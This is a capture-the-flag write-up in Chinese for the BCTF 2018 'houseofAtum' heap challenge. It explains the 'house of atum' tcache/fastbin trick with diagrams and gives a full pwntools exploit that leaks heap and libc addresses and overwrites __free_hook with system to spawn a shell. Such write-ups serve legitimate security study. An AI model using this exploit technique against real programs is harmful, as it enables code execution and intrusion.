BCTF 2018 house of atum

Start

建议和three一起做.很多逻辑都差不多 增加了一个edit功能 但是减少了一个可以控制的point magic of tcache & fast bin

analysis

checksec

➜  Desktop checksec houseofAtum
[*] '/home/n132/Desktop/houseofAtum'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

全保护 主要的漏洞点也和three 一样:uaf

  Desktop checksec houseofAtum
[*] '/home/n132/Desktop/houseofAtum'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
  Desktop 

但是主要的限制是:

if ( v1 < 0 || v1 > 1 || !notes[v1] )
    return puts("No such note!");

开始的时候自己画了半天感觉如果单凭tcache 用两个point是不可能的… 最后偷偷看了Ne0师傅的wp Ne0 发现自己的思维还是太禁锢…

House of atum

  • 为了方便我们使用chunk free 到tcache上的指针指向chunk+0x10
  • fastbin 中的地址是指向 chunk的开始 所以我们可以通过这个差异做一些事情这里用Ne0师傅的poc来示范一下
add()#0
add()#1
for x in range(7):
    free(0)
free(1)
#break point 1
free(0)
#break point 2

beak point 1 处 堆内存分布:

 tcache                                 a
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   <-------+
+-------+                    |                       |       |
|       |                    |                       |       |
+-------+                    +------------+----------+       |
                                          |                  |
                                          +------------------+


fastbin                                 b
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   |
+-------+                    |                       |
|       |                    |                       |
+-------+                    +-----------------------+

beak point 2 处 堆内存分布:

 tcache                                 a
+-------+                    +-----------+-----------+
|       +-------------+      | prev_size |   size    |
+-------+             |      +-----------+-----------+
|       |             +------>  fd                   +-------+
+-------+                    |                       |       |
|       |                    |                       |       |
+-------+                    +-----------------------+       |
                                                             |
                                                         +---+
                                                         |
fastbin                                 a                |            b
+-------+                    +-----------+-----------+   | +-----------+-----------+
|       +-------------+      | prev_size |   size    | +-+-> prev_size |   size    |
+-------+             |      +-----------+-----------+ |   +-----------+-----------+
|       |             +------>  fd=b                 +-+   |  fd=0                 |
+-------+                    |                       |     |                       |
|       |                    |                       |     |                       |
+-------+                    +-----------------------+     +-----------------------+
  • 这样子我们就可以吧chunk B的开始地址链在tcache上

  • 虽然目前看来没什么用但是 如果我们在一开始就设置好了chunk A的尾部也就是chunk_B的size前8字节
  • 那么在我们将tcache上的chunk A+10 chunk B取下之后tcache 上将会留下我们设置的目标

  • 之后我们只要盖掉chunk B 的size位删除后再次malloc 就可以得到 我们的目标

  • 然后就可以做 over lap 和一些其他有趣的事情

利用思路

  • 因为除了只有两个point之外没什么特殊的限制所以只要泄露了libc我们能直接改__free_hook 然后getshell
  • 所以我们主要目标是:
    • modify size
    • free
    • show
  • 但是因为只有两个point 所以我们可以作为next_size的点比较少在free大chunk到unsorted bin时容易出错
  • 假设我们将第二个chunk的末尾作为我们伪造的大chunk的next_chunk_size那我们需要控制第一个chunk前的位置
  • 第一个chunk+10为0x60 我们控制0x50便可以控制size且free的时候next_chunk_size可以控制

利用过程

* get heap base#u need it
* use house of atum 
    * add(p64(0x21)*7+p64(0x61)+p61(heap+0x250))
    * add()
    * free(0)*7
    * free(1),free(0)
    * add(),add()
    * free(0x2a0) to tcache(0x60) 
    * add()# get 0x250
* modify chunk_size (0x260)
* free 0x260 to fill tcache 
* free 0x260 to unsorted bin
* show to get libc_base
* modify: __free_hook --> system
* free /bin/sh

exp

from pwn import *

def cmd(c):
	p.sendlineafter("choice:",str(c))
def add(data=p64(0x11)*9):
	cmd(1)
	p.sendafter("tent:",data)
def edit(idx,data):
	cmd(2)
	p.sendlineafter("idx:",str(idx))
	p.sendafter("tent:",data)
def free(idx,mode=0):
	cmd(3)
	p.sendlineafter("idx:",str(idx))
	if(mode==0):
		p.sendlineafter(":",'n')
	else:
		p.sendlineafter(":",'y')
def show(idx):
	cmd(4)
	p.sendlineafter("idx:",str(idx))
p=process("./houseofAtum")
binary=ELF("./houseofAtum")
add()#0
add()#1
free(1,1)
free(0,1)
add("\x0a")
#context.log_level='debug'
show(0)
p.readuntil("tent:\n")
heap=u64(("\x00"+p.readline()[:-1]).ljust(8,'\x00'))-0x200
log.warning("heap>%s",hex(heap))
free(0,1)
add(p64(0x21)*7+p64(0x61)+p64(heap+0x250))
add()
for x in range(7):
	free(0)
free(1,1)

free(0,1)
add('0')
add('0')
free(1,1)
add(p64(0)+p64(0x91))
for x in range(7):
	free(0)
free(0,1)
edit(1,"A"*16)
show(1)
p.readuntil("A"*16)
base=u64(p.readline()[:-1].ljust(8,'\x00'))-(0x7ffff7dcfca0-0x00007ffff79e4000)
log.warning(hex(base))
binary=ELF("./houseofAtum")
libc=binary.libc
libc.address=base
edit(1,p64(0)+p64(0x51)+p64(0))
add(p64(0xcafebabe))
free(0,1)
edit(1,p64(0)+p64(0x61)+p64(libc.symbols['__free_hook']))
add(p64(0))
free(0,1)
add(p64(libc.symbols['system']))
edit(1,"/bin/sh")
cmd(3)
p.sendlineafter("idx:","1")
p.sendline("clear")
p.interactive("\033[1;31;40m n132>>> \033[0m")

.

  • 利用tcache 与fast bin 存放chunk的差异 把任意地址放进tcache
  • 一定程度上的任意地址写